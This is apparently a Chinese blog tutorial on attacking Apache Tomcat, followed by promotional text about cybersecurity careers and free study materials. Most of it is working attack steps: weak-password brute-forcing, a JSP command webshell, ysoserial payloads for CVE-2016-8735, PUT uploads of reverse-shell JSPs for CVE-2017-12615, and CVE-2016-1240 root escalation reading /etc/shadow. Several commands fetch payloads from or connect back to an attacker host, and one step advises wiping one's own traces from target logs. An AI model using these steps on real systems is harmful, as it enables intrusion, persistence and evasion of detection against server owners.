tomcat系列漏洞利用_tomcat漏洞

Tomcat 服务器是一个开源的轻量级Web应用服务器，在中小型系统和并发量小的场合下被普遍使用。主要组件：服务器Server，服务Service，连接器Connector、容器Container。连接器Connector和容器Container是Tomcat的核心。一个Container容器和一个或多个Connector组合在一起，加上其他一些支持的组件共同组成一个Service服务，有了Service服务便可以对外提供能力了。对外提供服务的同时，部分低版本tomcat却存在漏洞，漏洞被利用导致服务被攻击造成极大破坏。下面针对tomcat漏洞进行分析：

Tomcat的几大高危漏洞

Tomcat后台弱口令上传war包，tomcat管理弱口令页面getshell。

Tomcat的PUT的上传漏洞(CVE-2017-12615) ，tomcat put方法任意文件上传CVE-2017-12615。

Tomcat反序列化漏洞(CVE-2016-8735) ，tomcat反序列化漏洞CVE-2016-8735。

Tomcat 样例目录session操控漏洞，Apache Tomcat examples directory vulnerabilities(Apache Tomcat样例目录session操纵漏洞。

Tomcat本地提权漏洞(CVE-2016-1240)，Tomcat本地提权漏洞分析与防御。

Tomcat 漏洞列表

Apache Tomcat 拒绝服务漏洞CVE-2014-0230
Apache Tomcat Manager和Host Manager应用程序安全漏洞(CVE-2015-5351)
Apache Tomcat session-persistence 远程代码执行漏洞(CVE-2016-0714)
Apache Tomcat 会话固定漏洞(CVE-2015-5346)
Apache Tomcat 远程代码执行漏洞(CVE-2016-8735)
Apache Tomcat Commons Fileupload 拒绝服务漏洞(CVE-2016-3092)
Apache Tomcat httpoxy 安全漏洞(CVE-2016-5388)
Apache Tomcat 安全绕过漏洞(CVE-2016-6816)
Apache Tomcat AJP协议安全绕过漏洞
Apache Tomcat 安全绕过漏洞(CVE-2012-3439)
Tomcat 拒绝服务漏洞(CVE-2014-0050)
Apache Tomcat 安全漏洞(CVE-2017-6056)
Apache Tomcat 安全漏洞(CVE-2017-5648)
Apache Tomcat Default Servlet 安全漏洞(CVE-2017-5664)
Tomcat 信息泄露漏洞(CVE-2017-12616)
Apache Tomcat 安全漏洞(CVE-2017-12617)
Apache Tomcat 安全漏洞(CVE-2017-5647)
Apache Tomcat 安全漏洞(CVE-2018-1304)
Apache Tomcat 安全漏洞(CVE-2018-1305)

本文要点

发现目标的所有 tomcat 管理控制台入口

低版本 tomcat 管理控制台manager的弱口令爆破

通过 tomcat 默认管理控制台的 war 包部署功能部署 webshell

CVE-2016-8735 远程代码执行利用

CVE-2017-12615 put 方法任意文件上传利用

CVE-2016-1240 本地提权利用 Ubuntu,debian 中的 tomcat deb包

如何快速发现目标的各类tomcat管理控制台入口

第一种,通过常规端口扫描,获取服务banner

# nmap -n -sT -Pn --open -v -p 8080-8090,8443 -sV 192.168.3.100-200

tomcat 的默认端口通常情况下都会在这个区间内,至于具体用什么扫无所谓,masscan,zmap 都一样,只不过 nmap 会识别的更精准

第二种,通过各类外部web搜索引擎进行批量抓取

inurl:/manager/html intitle:apache tomcat site:*.target.*    Tomcat 控制台的默认路径/manager/html。也可以只找特定版本的 tomcat。

第三种,通过各类空间搜索引擎进行批量抓取

shodan，zoomeye，fofa，censys......

net:"112.112.0.0/16" port:"8080" product:"Apache Tomcat/Coyote JSP engine" 可先获取它的 as 号，然后再根据 as 号查到的网段，批量抓 tomcat 入口

探测发现后,想办法利用

先从低版本tomcat管理控制台进行弱口令爆破tomcat-6.0.9，在7.x 后的版本加入了防暴力破解，所以针对tomcat 7.x 以后的版本不用考虑爆破。

先添加好 tomcat 控制台角色用户到 tomcat-users.xml文件的<tomcat-users>标签内添加如下用户。

配置完之后,运行 startup.bat 脚本即可启动 tomcat 服务

<role rolename="manager"/>

<role rolename="admin"/>

<user username="tomcat" password="tomcat" roles="manager,admin"/>

爆破的方式很多，可以利用msf tomcat_mgr_login爆破/自行写脚本/burpsuite，请求的时候要先把账号密码 base64encode。至于常见的弱口令可以去github找。

爆破会在目标的web访问日志中留下大量的请求记录，当搞定进入对方机器之后，要把把自己 ip 的所有请求日志都清除掉。

通上面过程，如果登录到目标tomcat manager，接下来就是想办法利用tomcat默认管理控制台自动war包部署功能，部署我们的webshell了。

这次我们用 tomcat 9.0.10来进行演示

注意,可能是 tomcat 官方为了安全起见,在 tomcat8.x 之后版本的 manager 默认可能已经不再允许直接远程访问了,只允许本地访问,这也就是为什么有时候,你在访问目标的 manager/html 会出现 403 的情况

webapps\manager\META-INF\context.xml 文件

<Context antiResourceLocking="false" privileged="true" >

<Valve className="org.apache.catalina.valves.RemoteAddrValve"

allow="\d+\.\d+\.\d+\.\d+" /> 此正则表示允许任意地址访问

添加管理控制台角色用户tomcat-users.xml 文件：

<role rolename="manager-gui"/> 
<role rolename="admin-gui"/> 
<user username="tomcat" password="admin" roles="manager-gui,admin-gui"/>

环境搭建好之后，我们就可以来看看如何部署自己的war包webshell了，寻找manager中用于部署war包的上传点，然后上传自己的war包，至于你的war包webshell是一句话/大马/meterpreter自己随意。

命令执行利用的webshell为例，就两参数一个传命令一个给密码然后循环把执行结果打出来。

java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("cr")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
while((a=in.read(b))!=-1)
{ 
out.println(new String(b));
}

如下则是 war 包 webshell 的简单制作过程

# jar -cvf Readme.war Readme.jsp

上传制作好的 war 包 webshell，点击部署。

Tomcat 便会自动帮我们部署好并启动它,如下

在 POST 中带上密码和命令去访问自己的 webshell 地址，就可以看到执行结果。

POST: au=sk15&cr=ipconfig /all

关于防御:

war 包webshell部署并不算是漏洞，只是tomcat 的一个正常功能被入侵者利用了。最根本的办法就是删掉 manager目录，实际业务几乎也不大会用到 。另外，就是些加固型的防御手段，提高攻击门槛。加强登录口令/web访问日志实时监控爆破/借助系统防火墙拦截/cc防护...

CVE-2016-8735 远程代码执行利用过程 

漏洞影响 tomcat 版本，tomcat 8.0.36为例:

Apache Tomcat 9.0.0.M1 to 9.0.0.M11

Apache Tomcat 8.5.0 to 8.5.6

Apache Tomcat 8.0.0.RC1 to 8.0.38

Apache Tomcat 7.0.0 to 7.0.72

Apache Tomcat 6.0.0 to 6.0.47

在 tomcat 中默认会使用JmxRemoteLifecycleListener 这个监听器来监控 tomcat 平时的各种运行状态。

但 Oracle 在修复了JmxRemoteLifecycleListener 反序列化漏洞[CVE-2016-3427]后，却忘记了及时对tomcat中的jmx监听器进行升级。

所以它本质还是 jmx 的漏洞并非 tomcat 自身漏洞。

实际上 JmxRemoteLifecycleListener 平时用来做监控居多，实际直接从外部碰到该端口的机会也并不是特别多。

漏洞利用过程

先搭建好基础环境，配置 JmxRemoteLifecycleListener监听器。

而后编辑conf\server.xml文件添加如下的监听器

之后,再去编辑bin\catalina.bat 文件，添加如下变量直接在 setlocal 下面开始添加。

语句的主要作用是方便别人远程连过来对此 jvm 进行监控，注意此处是没有启用用户认证。

set JAVA_OPTS=-Dcom.sun.management.jmxremote -Djava.rmi.server.hostname=192.168.x.x -Dcom.sun.management.jmxremote.port=1099 -Dcom.sun.management.jmxremote.authenticate=false -

Dcom.sun.management.jmxremote.ssl=false

执行\bin\startup.bat 脚本启动tomcat

不妨先用jvisualvm连过去看看监控效果

,我们肯定得先发现目标有这样的端口才行，通过nmap对指定的单个目标机器进行全端口扫描并尝试获取服务banner。

# nmap -n -sT -sV -p 1-50000 --open -Pn -v 192.168.x.x

而后利用经典的ysoserial java反序列化payload工具，尝试直接在远程目标机器上执行系统命令。

# java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.x.x 10001 Groovy1 "cmd.exe /c net user flag "Admin!@#45" /add"

像上面这样执行系统命令，配合 msf 一起利用尝试弹回一个meterpreter的shell。

msf5 > use exploit/multi/script/web_delivery msf5 > set target 3 msf5 

msf5 > use exploit/multi/script/web_delivery msf5 > set target 3 msf5 > set payload windows/meterpreter/reverse_tcp_rc4_dns msf5 > set lhost 192.168.3.7 msf5 > set lport 53 msf5 > set rc4password msf5 > exploit -j 此处借助 regsvr 32 来远程下载执行

执行过程中需要远程下载 payload这就要求当前目标机器必须能正常通外网才行。

# java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.x.x 10001 Groovy1 "cmd.exe /c regsvr 32 /s /n /u /i:http://192.168.3.7:8080/CzVtq564v1ymsYr.sct scrobj.dll"

再直接尝试利用powershell尝试弹个beacon的shell，先生成 ps 的 payload

而后,继续通过 ysoserial.jar 发送执行该 payload

# java -cp ysoserial.jar  ysoserial.exploit.RMIRegistryExploit 192.168.x.x 10001 Groovy1 "cmd.exe /c powershell.exe -nop -w hidden -encodedcommand base64encode"

最后,看到 beacon 正常上线

关于利用和防御所要注意的一些点:

上面的环境主要都是针对 windows,至于 Linux 下的利用方法,其实也大同小异,只不过,对于 windows 平台,shell 免杀的问题在实战中你可能还要多费点儿劲,防御非常简单,升级 tomcat 到已修补的版本即可

tomcat 7.0.0.x put方法的利用 [CVE-2017-12615]

该漏洞影响windows其实并不算漏洞，算是服务错误配置。tomcat 全版本[并非 7.0.0-7.0.81]。

搭建好基础环境，到 tomcat 的配置conf\web.xml 文件添加以下内容，其实意思就是启用 tomcat 对 put/delete http 方法的支持。

现在开始尝试实际的利用过程,先用 msf 生成 jsp webshell

# msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.3.7 LPORT=80 -f raw -o rev.jsp

通过 curl 把我们上面的webshell用重定向的方式直接 put 到目标机器的 web 根目录下。

需要注意的是,默认 Tomcat 的 Servlet 是在 conf/web.xml 中配置的，当后缀名为.jsp和.jspx 的时候,，就会丢给JspServlet处理。需要对后缀做些特殊的处理，比如在url最后加个/ .或者%20。

curl -X PUT http://192.168.x.x:8080/Readmes.jsp/ -d @- < rev.jsp win & linux 平台通用 

curl -X PUT http://192.168.x.x:8080/Readmes.jsp. -d @- < rev.jsp

curl -X PUT http://192.168.x.x:8080/Readmes.jsp%20 -d @- < rev.jsp

继续通过curl 访问执行该webshell看到目标机器的cmd shell被成功弹回。

msf5 > use exploit/multi/handler msf5 > set payload java/jsp_shell_reverse_tcp msf5 > set lhost 192.168.3.7 msf5 > set lport 80 msf5 > set exitonsession false msf5 > exploit –j msf5 > sessions -i 1

Tomcat本地提权漏洞利用 CVE-2016-1240

受影响 tomcat 版本如下 [ 主要是针对 ubuntu 或 debian deb 包中的 tomcat 服务启动脚本,此处暂以 ubuntu 12.04 lts 为例进行演示 ]

Tomcat 8 <= 8.0.36-2

Tomcat 7 <= 7.0.70-2

Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

在tomcat服务在启动时会将log文件catalina.out的所有者改为tomcat用户，启动脚本通常却是以root权限在执行。

那么就可以用创建软链接的方式在root重启tomcat服务时将任意文件的属主改为tomcat 账户。达到访问系统核心配置文件的目的。

比如事先在tomcat权限下，将catalina.out修改为指向那些原本需要高权限才能访问关键系统文件的软链接。

此后root重启tomat便可以访问该系统配置文件。

利用成功的前提条件:

Debian或者Ubuntu的特定 tomcat deb包必须未升级，现在默认在Ubuntu14.04 以后的系统中，官方在上游 apt源就早已修复了该软件包漏洞。

准备好基础环境 ubuntu 12.04 lts 系统下安装 tomcat7:

首先,安装 tomcat7

apt-get update

apt-get install tomcat7

apt-get install tomcat7-admin tomcat7-examples tomcat7-docs

默认网站目录位置:

/var/lib/tomcat7/webapps/ROOT

添加控制台角色用户,等会儿部署 webshell 要用

# vi /etc/tomcat7/tomcat-users.xml

<role rolename="manager-gui"/>

<role rolename="admin-gui"/>

<user username="tomcat" password="tomcat" roles="manager-gui,admin-gui"/>

# /etc/init.d/tomcat7 restart 重启 tomcat 服务

本地浏览器访问环境配置成功

先尝试通过部署war包弹回一个低权限的meterpreter的shell。

用 msf 快速生成一个 war 包 webshell

# msfvenom -p java/meterpreter/reverse_https LHOST=192.168.3.7 LPORT=443 -f war -o options.war # chmod 777 options.war

再通过默认manager管理控制台把自己war包webshell部署到目标机器上去

本地启动msf监听，访问刚刚部署好的war包webshell的地址http://x.x.x.x/options。

随后看到meterpreter被正常弹回，此时弹回的权限仍然比较低,只是个tomcat服务用户权限。

msf5 > use exploit/multi/handler msf5 > set payload java/meterpreter/reverse_https msf5 > set lhost 192.168.3.7 msf5 > set lport 443 msf5 > set exitonsession false msf5 > exploit -j meterpreter > getuid meterpreter > pwd

找到catalina.out文件所在的路径，默认会在/var/log/tomcat7，上传 exp 脚本并赋予执行权限。

meterpreter > mkdir /tmp/rootdemo meterpreter > upload /root/tomcat-rootprivesc-deb.sh /tmp/rootdemo/ meterpreter > pwd meterpreter > cd /tmp/rootdemo meterpreter > shell

$ chmod +x tomcat-rootprivesc-deb.sh

跟上catalina.out日志文件所在路径执行exp脚本。待目标重启tomcat服务，我们便可获取一个root权限的shell，在tmp目录下下会生成一个带有 suid 权限的tomcatrootsh文件。

也可把tomcat进程干掉，等管理员重启tomcat。

# /etc/init.d/tomcat7 restart 
# id 
# grep root /etc/shadow 
# w

当目标管理员重启tomcat服务后，我们便立即有了一个root权限的shell

关于防御:

更新tomcat到已修复的版本即可，此类通过劫持服务配置文件提权的方式，比如nginx 的某个版本也存在类似的问题。

题外话

初入计算机行业的人或者大学计算机相关专业毕业生，很多因缺少实战经验，就业处处碰壁。下面我们来看两组数据：

• 2023届全国高校毕业生预计达到1158万人，就业形势严峻；
• 国家网络安全宣传周公布的数据显示，到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻，一方面是网络安全人才百万缺口。

6月9日，麦可思研究2023年版就业蓝皮书（包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》）正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中，本科计算机类专业起薪与2021届基本持平，高职自动化类月收入增长明显，2022届反超铁道运输类专业（5295元）排在第一位。

具体看专业，2022届本科月收入较高的专业是信息安全（7579元）。对比2018届，电子科学与技术、自动化等与人工智能相关的本科专业表现不俗，较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼，已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

 “没有网络安全就没有国家安全”。当前，网络安全已被提升到国家战略的高度，成为影响国家安全、社会稳定至关重要的因素之一。 

网络安全行业特点

1、就业薪资非常高，涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万！

 2、人才缺口大，就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表：我国网络空间安全人才 需求140万人，而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W，现在从事网络安全行业的从业人员只有10W人。

 行业发展空间大，岗位非常多

网络安全行业产业以来，随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性，尤其是掌握工作中的核心网络架构、安全技术，在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升，所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟，升值空间一路看涨，这也是为什么受大家欢迎的主要原因。

从某种程度来讲，在网络安全领域，跟医生职业一样，越老越吃香，因为技术愈加成熟，自然工作会受到重视，升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

 1.学习路线图 

 攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等，都是网络安全入门必知必会的学习内容。

  （都打包成一块的了，不能一一展开，总共300多集）

因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取

3.技术文档和电子书

技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本，由于内容的敏感性，我就不一一展示了。 

 因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。 

 还有我视频里讲的案例源码和对应的工具包，需要的话也可以拿走。

因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取

 最后就是我这几年整理的网安方面的面试题，如果你是要找网安方面的工作，它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。

参考解析：深信服官网、奇安信官网、Freebuf、csdn等

内容特点：条理清晰，含图像化表示更加易懂。

内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

 因篇幅有限，仅展示部分资料，需要保存下方图片，微信扫码即可前往获取